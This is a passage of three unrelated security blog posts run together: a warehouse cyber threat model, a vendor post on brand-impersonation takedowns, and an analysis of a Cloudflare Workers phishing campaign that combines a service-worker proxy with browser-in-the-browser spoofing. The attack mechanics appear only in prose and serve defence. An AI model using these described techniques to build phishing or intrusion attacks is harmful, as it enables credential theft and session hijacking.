   Then the unicorn goes into storage. Many distribution centers use multi-level mezzanine structures: several floors of metal shelving inside a huge space. They allow efficient use of the building’s height, but at the same time complicate control over the technical infrastructure. Wi-Fi access points, cameras, switches, cables, and sensors may be mounted high overhead or buried deep inside the rows. A forgotten Ethernet cable or misconfigured networked device (access point or switch) left behind in a dark corner can become a convenient initial access point into critical infrastructure.
5. Picking
   When the customer places an order, picking begins if the goods were already stored in the warehouse or as soon as they are unloaded. A PDT, workstation, light indicator, or voice terminal directs the employee to the required bin where they pick the goods and move them to the next stage. These devices are themselves potential attack entry points: compromising a workstation or PDT could allow an attacker to manipulate picking information, which could misdirect employees to the wrong bin. Here, both the speed and integrity of the information are critical, and any manipulation or disruption can lead to wrong orders, delays, or problems in subsequent stages.
6. Sorting
   At the sorting stage, the warehouse starts to look more like a factory. Boxes move through conveyor belts and pass through different scanners, diverters, and chutes. The sorting plans are usually stored and managed by dedicated servers, while PLCs are responsible for controlling the machinery and executing these plans. For example, when the warehouse management system (WMS) decides that our unicorn should take route A, the control system needs to activate the right diverter at the right moment, sometimes within a fraction of a second.
7. Packing
   During packing, an employee or a robotic arm places the goods into the final box, prints the shipping label, and sometimes measures the dimensions and weight of the package. Safety mechanisms usually prevent robotic arms from leaving the controlled zone and harming nearby operators, but their compromise might inflict physical damage on the packages being processed.
8. Shipment
   Finally, at the shipping stage, the parcel heads to the gates. Automated guided vehicles (AGVs) and autonomous mobile robots (AMRs) move containers and pallets across the warehouse, while the dock management system coordinates the truck that will carry the unicorn onward to a store, a sorting center, or straight to the customer. These robots are themselves a potential target for attackers. Attacks can be conducted against AGVs and AMRs to interfere with their operation, for example by affecting their navigation or preventing them from reaching their intended destination.

All eight stages are coordinated by the WMS. It looks like a large web application, but in its role it’s closer to the operating system of the entire warehouse: it knows which goods exist, where they’re located, who or what should move them, and where they go next, linking employees, inventory levels, storage addresses, tasks, and orders. It also exchanges data externally: with ERP systems, transport platforms, marketplaces, dark stores, and external carriers.

Surrounding the WMS is an even larger digital ecosystem: identity services, databases, APIs, printers, carrier systems, technicians’ laptops, video surveillance, access control, fire and gas alarms, power supply, and a building management system (BMS).

That is why a single “warehouse network” doesn’t really exist. As we’ve seen, there are many overlapping technologies — IT infrastructure, OT systems, radio, cloud services, building security, and automation — layered on top of one another. A lone vulnerability scanner will never tell you whether a warehouse is secure.

Hunting the unicorn

Securing an environment such as a warehouse requires a comprehensive security assessment covering all of its interconnected systems. This involves identifying vulnerabilities across each system and understanding how weaknesses can be combined into attack paths that a real attacker could exploit. But a vulnerability only matters in proportion to what it exposes and who is able to reach it, so before looking at the weaknesses themselves, we need to understand what an attacker in this environment is actually after, because in a warehouse, the blast radius extends well beyond data. Everything we just traced — the systems, the devices, and the people operating them — exists to keep goods moving, and attacks in various parts along that chain can affect the business differently. The chart below shows what is at risk in the warehouse and where those risks land for the business. The segment on the left groups them under the three core security properties: integrity, availability, and confidentiality. The segment on the right maps each property to the business outcomes a failure can cause.

Warehouse risks

The first area at risk is integrity. Inventory counts, locations, orders, and shipment data must stay in sync with the physical world. Corrupting a record silently desynchronizes the operation, and because the eight stages form a dependency chain, one falsified entry early on is inherited downstream, surfacing later as stockouts and mis-shipments. In its deliberate forms, this lets an attacker redirect goods, release stock, and perform other actions on behalf of the platform’s vendors under cover of legitimate records. Integrity is also a safety concern: when people or machines act on information that no longer reflects the physical environment, a data failure can become a physical incident. This is why integrity is the only property linked to all five outcomes, including harm to people.

The second is availability, the warehouse’s ability to keep goods moving. Halting a conveyor, a sorter, label printing, or the WMS stops orders from shipping, and in a business built on speed, every hour of downtime means delayed deliveries and broken promises. Ransomware can bring the whole warehouse to a standstill. The impact shows up as operational disruption, lost revenue, and reputational damage.

The third is confidentiality. Customer data, business records, and system credentials are valuable targets. Their exposure leads to legal liability and reputational damage, and stolen credentials often open the door to further attacks. Where the WMS connects to financial or ERP processes, the risk extends to theft of funds.
Knowing what is at risk tells us what an attacker stands to gain; the next question is who is in a position to take it. Threat actors differ in the access they already hold. For example, an attacker may be authenticated and privileged, have limited physical or remote access, or have no legitimate access to the environment at all. Based on their relationship with the warehouse and their level of access, threat actors can generally be divided into two categories:

1. External. An attacker with no legitimate relationship with the warehouse or the organization, operating without authorized access. External attackers can be divided into two categories based on their physical proximity to the environment:
   1. Remote. An attacker operating from outside the site’s physical area, reaching the environment through whatever the organization exposes or makes reachable over the internet, including web services, remote access infrastructure, and third-party connections used by suppliers, carriers, and integrators.
   2. Proximate. An attacker with no legitimate access who has nevertheless moved within physical range of the site’s locally reachable technologies. They may, for example, be in a parking lot, a neighboring unit, or a delivery bay. Their proximity may allow them to interact with wireless, radio, Bluetooth, or other short-range interfaces without possessing an account, badge, employment relationship, or other authorized access.
2. Internal. An individual with legitimate access to the warehouse, its systems, or its information, who intentionally or unintentionally creates a security risk. This includes employees, administrators, operators, contractors, and temporary staff.

Combining these threat actors and their access levels with the risks identified earlier, the vulnerabilities present in each system, the resulting attack surfaces, and the potential attack paths between them provides a threat model for the warehouse environment. This allows an organization to understand how different systems and people could be targeted, how individual weaknesses could be combined, and where security controls are most needed.

Cornering the unicorn

Knowing what is at risk and who might come after it still leaves the most practical question open: how they would actually get in, and how far they could go once they did. The diagram below sets out the warehouse’s attack surface: every point where an attacker can get in, organized by the access that reaching each point requires.

Warehouse attack surface

On the left are the attacker categories discussed above, distinguished by where they stand and what access they already hold. Each reaches the environment through a different set of entry points, and the impact of a successful attack can land on several systems, from the WMS to OT systems such as robots, sorters, and physical access control system (PACS). The WMS is highlighted because it is the most significant of these: it coordinates the OT systems, so compromising it can affect the entire operation rather than a single process.

Next, we will cover the initial access vectors, the points a threat actor can use to reach the warehouse environment. Following that, we turn to the impact on the logistics processes themselves, focusing on the WMS, since its compromise affects every logistics operation that depends on it.

Initial attack vectors

Internet-facing services

Remote access through internet-facing services, third-party connections, and corporate networks gives an external attacker a foothold on the warehouse network infrastructure. It is a well-covered problem and not specific to this environment, so we note it here as an entry point but will not examine it further.

Wi-Fi, Bluetooth, and other radio channels

Wi-Fi connects handhelds, tablets, printers, cameras, and workstations. Bluetooth serves scanners, headsets, and positioning beacons. Zigbee and similar low-power protocols run lighting, sensors, and building automation, while LoRaWAN carries telemetry over long distances. Cellular provides a backup channel for kiosks and contractor equipment, and proprietary protocols control industrial panels and specialized machinery.

Radio passes through windows, gates, roofing, and thin external panels, so a network built for receiving and processing goods may be reachable from the parking lot and, with a directional antenna, from considerably farther away.

That reach matters in two ways. It gives an external attacker a place to start, as proximity alone is enough to reach the Wi-Fi and the low-power protocols, and from there to gain an initial foothold in the warehouse networks.

However, radio does not only lead into the network. It also connects directly to the field devices and carries the live control traffic of warehouse operations, which makes availability a first-order concern. If hundreds of handhelds lose their connection at once, picking stops. If an AGV loses its control channel, the safe reaction may be to halt in place, and a stopped machine can block an entire route.

Physical network

The scale of the warehouse itself is part of the attack surface. A fulfillment warehouse can run up to tens of thousands of square meters, with racking climbing several stories and walkways threading through it. Structured cabling runs along that racking, cameras and access points are mounted on that, and wall jacks sit behind pallets that have not moved in months. Almost none of it is in anyone’s line of sight.

That gives a person in the warehouse something a normal office does not: unsupervised access to live network infrastructure. Unplugging a ceiling camera leaves an active port. An unused jack behind a shelf leaves another. Neither requires tools, credentials, or any interaction with a system that logs anything. And since the camera or access point sits on the same segment as the rest of the site, the compromised port, not being isolated, opens a path to the network core.

Barcode scanners

Barcode scanners are everywhere in a warehouse. They are the main tool workers use to tell the system what is moving and where, supporting receiving, picking, packing, and inventory management. A typical setup has handheld scanners communicating with a base station, which is in turn connected to a workstation or another business system.

This makes the scanner an entry point into the core network in two ways.

First, through the barcode itself. Since the scanner acts as a keyboard to the connected host, a maliciously crafted barcode or QR code can inject keystrokes when scanned, potentially giving the attacker an initial foothold on the host without directly accessing the network.

Second, through the scanner’s wireless link. During a customer engagement, with the provided test stand of such a device, we discovered that an attacker within range could inject keystrokes into the connected host and potentially achieve remote code execution without user interaction. This attack pattern was observed across multiple vendors, including, for example, Honeywell devices affected by CVE-2026-4272.

In both cases, the result is the same: a foothold on a host inside the warehouse network. The scanner is simply the entry point; the significance of that foothold comes from the host’s trusted position within the operational environment and its connectivity to core systems.

Portable data terminals

Portable data terminals (PDTs) are essentially ordinary Android devices with an embedded barcode scanner, carried by workers to scan items; each scan is passed to a dedicated application that forwards it to a remote server over an API. To keep workers on task, the devices usually run in kiosk mode, locking the user to that single application and preventing interaction with the rest of the Android system.

That lockdown is exactly what an attacker wants to break, and breaking it is what turns the terminal into an initial access vector: escaping the kiosk can expose the Wi-Fi password of the network the terminal is connected to, or allow malicious software to be installed that gives the attacker remote access to the network over the internet.

Printers

Warehouses contain different types of printers. Alongside the usual IT printers used for documents and paperwork, there are specialized thermal printers, small devices that use heated elements on the printhead to create labels, barcodes, and tags. As we mentioned earlier, these are mainly used to print the labels, usually containing barcodes, that are attached to goods during the putaway stage.

Here we focus on mobile thermal printers: small, battery-powered devices that workers can carry or wear. They typically connect to the internal network over Wi-Fi to receive print commands, while also supporting Bluetooth for connecting to nearby devices. This combination makes them a potential entry point into the internal network.

Some models, such as the Zebra ZQ630, support multiple interfaces and can run applications directly on the device. During a security assessment, we discovered that apps can be uploaded and executed over Bluetooth. By exploiting a pairing misconfiguration, an attacker within Bluetooth range could bypass pairing, upload malicious software, and gain an initial foothold through the printer.

Impact on logistics processes (attacks on WMS)

With a foothold in the network, an attacker can pivot to the logistics processes themselves: from the WMS through the warehouse infrastructure to the PLCs and the machinery they drive. As we saw earlier, all OT systems and devices are interconnected and the WMS sits at the head of that chain: it is the system of record every other process reads from and writes to, so compromising it reaches all of them at once. That, and its being specific to this environment, is why it is the focus here.

Warehouse management systems (WMS) are the software platforms that optimize warehouse processes from the entry of goods to their exit. They provide real-time visibility into inventory and orchestrate end-to-end fulfillment by integrating with many warehouse subsystems and pieces of automation equipment, such as conveyors, PLCs, robotics, scanners, and voice systems. A typical WMS includes modules for receiving, inventory control, order management, labor management, shipping, and reporting. Major vendors include SAP EWM, Oracle Warehouse Management, Manhattan Active, Blue Yonder, Infor, Körber/HighJump, Microsoft, and TECSYS.

To picture how central this is, think back to our unicorn. From the moment it was scanned at receiving, it stopped being only a physical box and became a record inside the WMS, a record the system then used to decide where it should be stored, when it should be picked, how it should be sorted, and where it should ship. Every device employed along the way — the PDT at receiving, the printer at putaway, the workstation at picking, the conveyor at sorting — was really just talking to the WMS. It is the thread that ties all eight stages together, which is exactly what makes it such a valuable target.

Because modern WMS platforms are usually web-based and heavily interconnected, they inherit common web and API vulnerabilities alongside flaws specific to the WMS itself. A recent example is CVE-2026-70774 in Oracle Warehouse Management, part of Oracle E-Business Suite. Oracle rated it High and described it as an easily exploitable authorization bypass flaw in which a low-privileged attacker with network access can compromise the application, affecting integrity and availability by allowing unauthorized creation, deletion, or modification of critical data.

A flaw like this may look like a typical web application issue, but its consequences in a warehouse are more serious, because the WMS is the system of record. If an attacker can modify its data, they can alter stock levels, bin locations, receiving records, picking tasks, or shipment information, silently corrupting the digital twin of the warehouse. And since the eight stages form a dependency chain, that corruption doesn’t stay contained: a falsified record at receiving is inherited by putaway, picking, and everything downstream. The physical box and its record diverge, and every later process trusts the record.

The most direct version of this attack comes from an authorization bypass flaw like the Oracle vulnerability above. Here the threat actor can be an external attacker who has reached the application over the network, or an insider such as a low-privileged operator or storekeeper who already holds a legitimate account.

The danger grows when such a flaw is chained with others. An external attacker who combines remote code execution with SQL injection could generate shipment orders to arbitrary addresses together with the documents needed for goods to physically leave the warehouse, fabricate waybills, acceptance or transfer records, and registers, while also exposing customer data such as names and delivery addresses. In effect, the goods are sent out with legitimate-looking paperwork.

This is why ordinary web vulnerabilities carry considerable weight in a WMS. For an external attacker or an insider probing beyond their assigned role, broken access control could open a path into another warehouse zone, allow manipulation of other workers’ tasks, permit unauthorized exception operations, or expose administrative APIs. A server-side request forgery flaw could force the WMS server to reach resources an external attacker cannot touch directly, and if the network is flat or only formally segmented, that server may in turn reach internal management panels, cloud service interfaces, or systems sitting close to the operational network, turning a single web bug into a bridge between IT and OT.

Attacks on a WMS don’t always target the application directly, though. As we saw while tracing the unicorn, the warehouse is full of connected devices that already hold trusted access. A handheld terminal carries authenticated WMS API access as a matter of course, and anyone who gains control of that terminal inherits it (by escaping the kiosk, for example). Depending on the device’s permissions, that might mean confirming picks that never occurred, falsifying receiving operations, adjusting stock counts, or marking orders complete — something warehouse employees themselves could use to avoid their assigned duties.

Where the WMS is connected to control and automation systems, access to the WMS can extend into physical operations, including conveyors, sorting systems, lifts, doors, and pumps.

PLCs translate WMS instructions and sensor inputs into physical actions. Compromising a system that controls them therefore creates an opportunity to manipulate those actions. The impact can be as simple as a sorting diverter sending boxes down the wrong route, a conveyor repeatedly entering an error state and creating a backlog, or a falsified sensor value causing a line to be treated as clear when it is full.

However the WMS is compromised, the business consequence is the same: inventory corruption, unauthorized shipments, and operational disruption, each reaching the customer in the end as a late or missing delivery, the wrong item in the box, or a personal address exposed to a stranger.

Securing the unicorn

We followed our unicorn through web applications and databases, radio channels and PDTs, printers, conveyors, robots, and the loading zone. Because warehouse environments combine IT, OT, wireless, physical, and human components, security controls should be implemented as a single, coordinated security architecture rather than as isolated measures. Network segmentation should be a foundational control, with clear separation between corporate IT, warehouse OT, operational devices, management networks, and externally connected systems. Segmentation should also extend across facilities and customer environments so that each site and customer integration is isolated from the others, limiting the potential impact of a compromise. A zero-trust approach should reinforce this architecture by requiring explicit authentication and authorization for connections between systems, regardless of their network location, and by applying least-privilege access wherever possible. Regular penetration testing of the corporate IT environment, including domain services, identity infrastructure, and endpoints, should be incorporated into the warehouse security program.

Physical and network access controls should be implemented together. Access to warehouse facilities, network rooms, communication cabinets, and operational areas should be restricted according to business need, with appropriate authentication, monitoring, and access logging. Network infrastructure should be hardened through controls such as switch port security, MAC-based access restrictions where appropriate, and IEEE 802.1X with EAP-TLS for strong device and user authentication. Network equipment should also be securely configured and regularly reviewed to ensure that unused interfaces, insecure management protocols, default credentials, and unnecessary services are disabled.

Web applications and their supporting infrastructure should be governed through a secure software development lifecycle (SSDLC), including security requirements, secure coding practices, code and dependency review, and application security assessment before deployment and throughout the application’s lifecycle. Third-party applications and components should be continuously monitored and updated, with a defined vulnerability and patch management process. This should explicitly include warehouse management systems (WMS), warehouse portals, APIs, and other applications that provide operational or customer-facing functionality.

Wireless technologies should be subject to dedicated security assessment and engineering. Radio-frequency surveys should be conducted to establish expected coverage, identify unauthorized or unexpected signals, validate the availability and protection of operational communications, and determine whether wireless deployments create unintended access paths into warehouse networks. Wireless security should be assessed not only from a connectivity perspective but also in terms of authentication, encryption, device provisioning, protocol exposure, interference resilience, and the potential impact of unauthorized devices.

Warehouse operational devices should be incorporated into the organization’s endpoint security and vulnerability management processes. Devices should receive security updates and firmware patches on a defined schedule, with accelerated remediation for critical vulnerabilities. Security assessments should be performed periodically to identify weaknesses in device configuration, applications, exposed services, and authentication mechanisms.

Personnel security should form an additional layer of the warehouse security architecture. In most industrial and ICS environments, getting inside means clearing background checks, holding relevant qualifications, or proving prior experience; the hiring process itself acts as a filter. A warehouse is different. Roles in sorting, packing, and courier work are hired quickly and in volume, and they typically require no prior expertise, certification, or specialized background at all. An ordinary person can walk in off the street, be hired within days, and immediately hold legitimate physical access to the facility. Therefore, a more restrictive and risk-based approach to hiring should be considered, particularly for roles that provide access to sensitive areas, operational systems, network infrastructure, or customer assets.

Ultimately, all of these measures serve the same objective: protecting the continuity and reliability of the warehouse as a whole. This matters because real warehouses handle food, medicines, machine parts, and the millions of ordinary things people and companies depend on every day. Protecting their journey means seeing the warehouse as it has actually become: a single digital system with doors, motors, shelving, and radio signals, and with entirely real consequences when it fails. And if the security program works, the customer never knows any of this happened. The unicorn simply arrives at the scheduled time.

If your warehouse operations rely on interconnected systems like these, we can help identify the gaps before an adversary does. Reach out to discuss a security assessment.

Manual brand impersonation takedowns fail because attackers move faster than ticket-based abuse reports can resolve — phishing pages and fake executive profiles often do their damage within hours of going live, while manual removal can take days. A managed takedown program pairs continuous, verified monitoring with pre-authorized removal (in-certain cases), cutting the exposure window from days to hours. This matters most for consulting and professional services firms, where a spoofed domain or fake executive profile can compromise the client trust the business is built on.

How UNC3753 targeted US professional services firms in 2026

Between January and May of 2026, Google's Mandiant threat intelligence team tracked a financially motivated extortion campaign — attributed to a group known as UNC3753, or "Luna Moth," or "Silent Ransom Group" — working its way through dozens of professional, legal, and financial services organizations across the United States. The approach was almost old-fashioned. A benign-looking email about a data migration or an unpaid invoice, a follow-up phone call from someone posing as IT support, and a request to install "remote monitoring" software to fix the problem. No exploit. No malware dropped on day one. Just a firm's own trust in its brand and its people, turned against it.

It's a useful — if unsettling — reminder of why brand and executive impersonation isn't a side issue for professional services firms. It's often the entry point.

How much does phishing and impersonation actually cost US businesses

The scale of the problem, in dollar terms, is no longer subtle. The FBI's Internet Crime Complaint Center logged just over one million complaints in 2025 — the highest volume in the program's history — with phishing and spoofing making up roughly a fifth of all reports. Losses tied to phishing alone roughly tripled year-over-year, and business email compromise, which almost always starts with an attacker impersonating someone the victim trusts, accounted for over $3 billion in reported losses on its own. The mechanics of that damage matter too: the overwhelming majority of BEC losses move through wire transfer or ACH, rails that are fast, largely irreversible, and unforgiving of a slow response.

Put those two facts together and a pattern emerges. Impersonation attacks — of a brand, a partner, an executive, a vendor invoice — aren't rare or exotic. They're the default opening move. And once the fraudulent domain, profile, or listing is live, the clock the defender is racing isn't measured in days. It's measured in hours, sometimes less, before money moves or credentials are harvested.

Why are consulting and professional services firms specifically targeted?

Professional services firms occupy a strange position in the threat landscape. They're rarely the most technically fortified target, but they're consistently one of the most valuable ones. A consulting firm doesn't just protect its own data — it holds engagement records, financial models, and confidential strategy documents belonging to dozens of clients across industries. About 29% of U.S. law firms reported having experienced a security breach at some point, according to the ABA's most recent Legal Technology Survey — up from 25% just two years earlier. The same dynamic applies to consultancies. The firm is a single point of entry into a much larger web of client relationships.

That's precisely the exposure described in Cyble's case study of a U.S. consulting organization managing highly sensitive engagement data, confidential client information, and a large, distributed workforce operating across the country. As the case study describes it, the firm's brand, executives, and digital infrastructure were frequent targets specifically because of the trust clients placed in them as an advisor. Senior partners were likely of being impersonated through fake social profiles and spoofed domains. Fraudulent job postings and phishing campaigns leaned on the firm's own credibility to look legitimate. The attacker doesn't need to breach the firm's network if a client can be convinced, through a look-alike domain or a cloned executive profile, to simply hand over what the attacker wants.

That's the mechanism UNC3753 exploited nationally in 2026, and it's the exact exposure this consulting firm was trying to close.

Also read: Ransomware Threats in the Americas H1 2026: Dissecting the Regional Attack Patterns and Dominant Actors

What is the "whack-a-mole" problem in brand protection?

Here's where most brand protection programs quietly fail, and it isn't a detection problem — it's a speed problem.

A typical manual takedown workflow looks something like this: someone on the security or marketing team spots a phishing page or a fake LinkedIn profile impersonating a partner. They file an abuse report with the registrar or the platform. They wait. Maybe they follow up. Eventually, the page comes down — but by then, a new one has often already gone live, sometimes registered by the same actor under a slightly different domain.

This was exactly the challenge the consulting firm faced before its engagement with Cyble. Identifying and removing phishing pages, fraudulent job postings, and impersonating domains was, in the case study's own words, reactive and resource-intensive, leaving the brand exposed for longer than the firm considered acceptable. It's a program that looks active — tickets filed, pages eventually removed — while the actual window of exposure, the hours where a client or job candidate could act on the fake page, stays wide open. Volume of takedowns filed is an easy number to report. Speed of resolution is the number that actually protects anyone.

What does managed takedown response actually involve

The shift the case study describes isn't just "faster takedowns" — it's a change in the operating model, from reactive point-solution to continuous, managed coverage. Three pieces work together in the deployment:

• Brand and Executive Monitoring continuously scans for phishing domains, fraudulent job postings, and impersonation attempts using the firm's name, alongside dedicated monitoring of senior leadership profiles across social platforms — catching the fake partner LinkedIn account or spoofed domain before it's had time to circulate.
• Verification before escalation means the security team isn't drowning in unconfirmed alerts. Threats are validated as genuine before they ever reach someone's desk, which is what separates consolidated intelligence from just another noisy dashboard.
• Managed Takedown Services then handle the actual removal — confirmed phishing pages, impersonating domains, and fraudulent listings — without the internal team having to individually chase registrars and platforms one abuse ticket at a time.

The outcome is a meaningfully shortened window between detection and removal — turning a slow, manual, ticket-by-ticket grind into something closer to continuous coverage. That's the real distinction between a takedown service and a takedown program: one reacts when someone happens to notice a fake page; the other is built to notice, verify, and resolve on a timeline that assumes attackers move fast, because they do.

Why client trust is the real asset at risk

For a consulting firm, the financial cost of an impersonation attack is rarely the headline risk. The deeper cost is what it does to the relationship a firm's entire business is built on. When a client, a job candidate, or a prospective hire can't tell the difference between a legitimate email from the firm and a spoofed one, the firm's advisory credibility — the thing it's actually selling — starts to erode. That's a slower, quieter kind of damage than a wire fraud loss, but for a professional services firm, it may be the more expensive one.

The lesson from both the national threat data and this specific engagement is the same – brand and executive impersonation isn't a marketing nuisance to be cleaned up occasionally. It's a live attack surface, moving at a speed that manual, ad hoc takedown processes were never built to match. Firms that treat it that way — with continuous monitoring, verified alerts, and managed resolution — are the ones that keep the exposure window measured in hours instead of days.

Frequently asked questions (FAQs)

What is a brand impersonation takedown service?

A brand impersonation takedown service identifies fraudulent domains, phishing pages, fake social media profiles, and impersonating job listings that misuse a company's name or logo, then works with registrars, hosting providers, and platforms to have that content removed.

How long does it take to take down a phishing site?

Timelines vary by registrar and hosting provider, but manual, ticket-based takedown requests commonly take days to resolve. Managed takedown programs that pre-verify threats and maintain direct relationships with providers can shorten that window to hours.

Why do manual takedown processes fail against brand impersonation?

Manual processes fail because they're reactive: a person has to notice the fake page, file a report, and wait for a third party to act, while attackers can register replacement domains faster than any single report gets resolved. The volume of tickets filed can look productive even while the actual exposure window stays open.

What's the difference between takedown volume and takedown speed?

Takedown volume measures how many fraudulent pages were reported or removed over time. Takedown speed measures how quickly a live threat is detected, verified, and taken down after it appears. Speed is the metric that actually limits damage, since most harm from a phishing page happens in its first hours online.

How can consulting and professional services firms protect executives from impersonation?

Dedicated executive monitoring tracks senior leaders' names and likenesses across social platforms and the web to catch fake profiles, spoofed communications, and impersonation attempts early, ideally paired with managed takedown so confirmed threats are removed without requiring the executive or internal team to handle it themselves.

Sources:

FBI Internet Crime Complaint Center, 2025 Internet Crime Report;
Cyble, "How Cyble Delivered Unified Multi-Layered Threat Intelligence to a U.S. Consulting Organization";
Google/Mandiant, "Ongoing Targeted Campaign Against US Law Firms" (2026);
American Bar Association Legal Technology Survey.

The post Brand Impersonation Takedown: From Whack-a-Mole to Managed Response appeared first on Cyble.

Threat actors are increasingly exploiting legitimate cloud services to evade detection and streamline the deployment of their scam infrastructure. Cloud hosting services and decentralized networks have become primary platforms for hosting phishing pages and sites. Throughout 2025 and 2026, we have observed phishing operators steadily migrate toward platforms like Cloudflare Workers, Vercel, Netlify, GitHub Pages, and IPFS. This post analyzes the mechanics of a real-life adversary-in-the-middle (AitM) attack in a cloud environment and presents detailed statistics on the platforms and domains phishers abuse most frequently.

The cloud as a safe haven for phishers

Threat actors select platform-as-a-service (PaaS) offerings and distributed cloud environments to host phishing sites for much the same reasons legitimate software developers do:

• Inherent trust and reputation. Phishing pages hosted on reputable platforms appear trustworthy, reducing suspicion among potential victims.
• Most platforms offer generous free-tier developer plans. The onboarding process takes minutes and rarely requires Know Your Customer (KYC) identity verification. This enables a single operator to create hundreds of malicious accounts.
• Evasion and anonymity. Attackers leverage native security features to obscure their true origin server IP address behind a CDN, which complicates detection for security vendors.

Additionally, these platforms allocate shared subdomains hosting millions of legitimate projects and websites. Security teams cannot simply block the parent domain or its subdomains without inflicting collateral damage on bona fide users – a limitation that malicious actors take advantage of. To counter this tactic, security vendors must advance content-based analysis methodologies.

Multi-stage AitM attack

Consider a modern AitM phishing campaign that leverages Cloudflare Workers, a widely adopted cloud platform. The attackers execute the operation through multiple HTML pages distributed across a compromised website and the cloud platform. Each page serves a specific function: harvesting target email addresses, initializing the reverse-proxy infrastructure, or spoofing the login form to capture multi-factor authentication (MFA) sessions.

Stage 1. Contact harvesting and network monitoring evasion

The attack typically begins with a phishing email that uses a plausible pretext – such as a request from a coworker to review documents – to entice the target into clicking a malicious link.

Upon clicking the link, the user is redirected to a fake CAPTCHA landing page hosted on a compromised legitimate website. This specific campaign used the https://t[REDACTED]e.com website, but any other variations are possible. In this scenario, the compromised page served as a disposable relay — vendor detection mechanisms typically block phishing links delivered directly via email much faster — to prevent the early discovery of the core phishing content hosted on Cloudflare.

If the user entered their email address and clicked Continue, the pseudo-CAPTCHA marked them as a human user and initiated a redirect. The primary objective of this stage is to harvest target email addresses, filter out bots, and route legitimate users to a subdomain of workers.dev. Such subdomains are generated automatically and free of charge by Cloudflare Workers. The victim’s email address was embedded in the URL hash (the part of the URL following the # character), allowing the page at [REDACTED].workers.dev to extract the email without issuing a request to the attacker’s server, thereby avoiding detection.

Stage 2. Initializing a transparent proxy

The user’s browser then loaded a [REDACTED].workers.dev page with #user@business.com at the end of the URL. At this point, the page presented the victim with a genuine CAPTCHA challenge. This step ensured that an actual user was interacting with the page rather than a security sandbox.

Another CAPTCHA, this time a legitimate one

Once the user successfully completed the challenge, a service worker was registered in their browser. This is a special JavaScript file capable of running in the background and intercepting all network requests generated by the current tab. As this type of script was designed as a core component of progressive web apps (PWAs) to optimize load times and support offline functionality, browsers treat service workers as standard site feature and execute them without prompting for user consent as long as the website uses an HTTPS connection.

The attackers leveraged the service worker to deploy Ultraviolet, a legitimate open-source web proxy library, to dynamically rewrite all links and forms on the page. This forced every outgoing request – including those for Microsoft login credentials – to route through the attackers’ server rather than directly to the legitimate services.

Immediately upon loading, the page extracted the victim’s email address from the URL hash and stored it in the browser’s sessionStorage property so it would not be overwritten when the CAPTCHA loaded. This step also allowed the script to pre-fill the username field in the form automatically. A pre-populated login field enhanced the page’s credibility and bolstered user trust. Once the CAPTCHA was passed, the malicious script constructed a redirect URL for the third stage, appending the email retrieved from sessionStorage back to the hash. By passing the email via the URL hash across three consecutive stages, the attackers successfully kept it hidden from network attack detection systems.

Registering a service worker to intercept traffic

Establishing a transparent proxy via an external library

Stage 3. Session hijacking and browser window spoofing

The final stage unfolded on a third page, combining adversary-in-the-middle (AitM) traffic interception with a browser-in-the-browser (BitB) UI spoofing technique. BitB attacks operate by rendering a block inside a legitimate webpage that visually mimics a native browser pop-up window.

In this case, the script hosted on the attacker’s page generated a pop-up visually identical to a native browser window, complete with window controls and a spoofed address bar showing a trusted Microsoft URL. Within this simulated window, an iframe loaded the authentic login interface, routed dynamically through the service worker reverse proxy created in Stage 2. When the victim entered their credentials and MFA code into the BitB window, the proxy script intercepted both the credentials and the session tokens. Combining BitB with AitM significantly increases the threat: BitB provides a convincing, trusted visual wrapper (displaying a legitimate URL and branding), while the hidden AitM proxy quietly handles traffic interception and session hijacking behind the scenes.

Upon successful login, the proxy instructs the interface to close the pop-up and redirect the victim to a generic system error page, such as SessionExpired. This minimizes suspicion: the victim assumes a technical glitch occurred and attempts to log in again, unaware that the attacker already has full access to the session.

Cloud platform phishing attack statistics

We analyzed phishing URLs hosted across popular cloud platforms – including Cloudflare, Netlify, and GitHub Pages – over a 12-month period spanning August 2025 to July 2026. The data below outlines trends in unique third-level domains exploited to deliver phishing content. In total, our security solutions blocked 224,984 unique third-level domains on cloud and decentralized services used in phishing attacks within that timeframe.

Number of unique third-level domains
(download)

Based on this telemetry, we compiled a list of the TOP 10 cloud domains most frequently abused in phishing campaigns over the specified period.

Number of phishing links

Unsurprisingly, Cloudflare and Vercel emerged as the undisputed leaders: both offer free tiers, automated SSL certificate issuance, and global CDNs. GitHub Pages ranked third. The widespread legitimate use of the github.io domain complicates bulk blocking efforts, as security teams risk limiting access to non-malicious projects.

Decentralized networks also warrant close attention – we posted on this subject in 2023. The ipfs.io and dweb.link domains function as IPFS gateways. The principal risk associated with these platforms is content persistence: even if a specific gateway gets blocked, the phishing page remains accessible via alternative nodes across the network.

The visual website builders Wix and Webflow also ranked among the TOP 10 (eighth and ninth, respectively). These platforms allow low-skilled individuals to build phishing pages rapidly without advanced coding expertise, which significantly lowers the barrier to entry for less capable malicious actors.

In total, we identified and neutralized over 390,000 phishing pages hosted across legitimate cloud platforms and decentralized networks (IPFS) over the past 12 months. This data confirms that threat actors actively exploit the implicit trust associated with legitimate PaaS providers (such as Cloudflare Workers, Vercel, Netlify, and GitHub Pages) and IPFS gateways. High domain reputation, generous free tiers, and built-in evasion capabilities enable phishers to deploy multi-stage AitM attacks designed to hijack MFA sessions.

Recommendations

Traditional security controls, such as relying on HTTPS lock icons or reputation-based domain denylists, are inadequate against these attacks. The cloud provider’s apex domain maintains a positive reputation score, while attackers generate malicious subdomains programmatically and at scale.

Effective defense against these threats calls for a layered security posture:

• Exercise caution with unexpected requests, even if they are served from reputable domains or secured with valid SSL/TLS certificates.
• Treat any CAPTCHA interface requiring personal data input as a possible scam. Legitimate CAPTCHA challenges rarely request personally identifiable information, such as email addresses.
• Inspect the URL in the address bar at the very top of the browser window. In BitB attacks, threat actors can render a fake browser pop-up displaying any target URL, even a legitimate one. However, the true address bar – located at the top of the main browser window alongside native navigation controls (Back, Forward, Refresh) – will continue to display the actual attacker-controlled domain.
• Avoid entering credentials in pop-ups you did not expect to see. If a login or MFA form appears without your explicit action, close the tab immediately. Navigate to the intended service manually by entering its address directly into the browser.
• Additional protection can be provided by Kaspersky Secure Mail Gateway for enterprise environments and Kaspersky Premium for personal correspondence. These robust email security solutions neutralize phishing links at the delivery stage before they reach the inbox.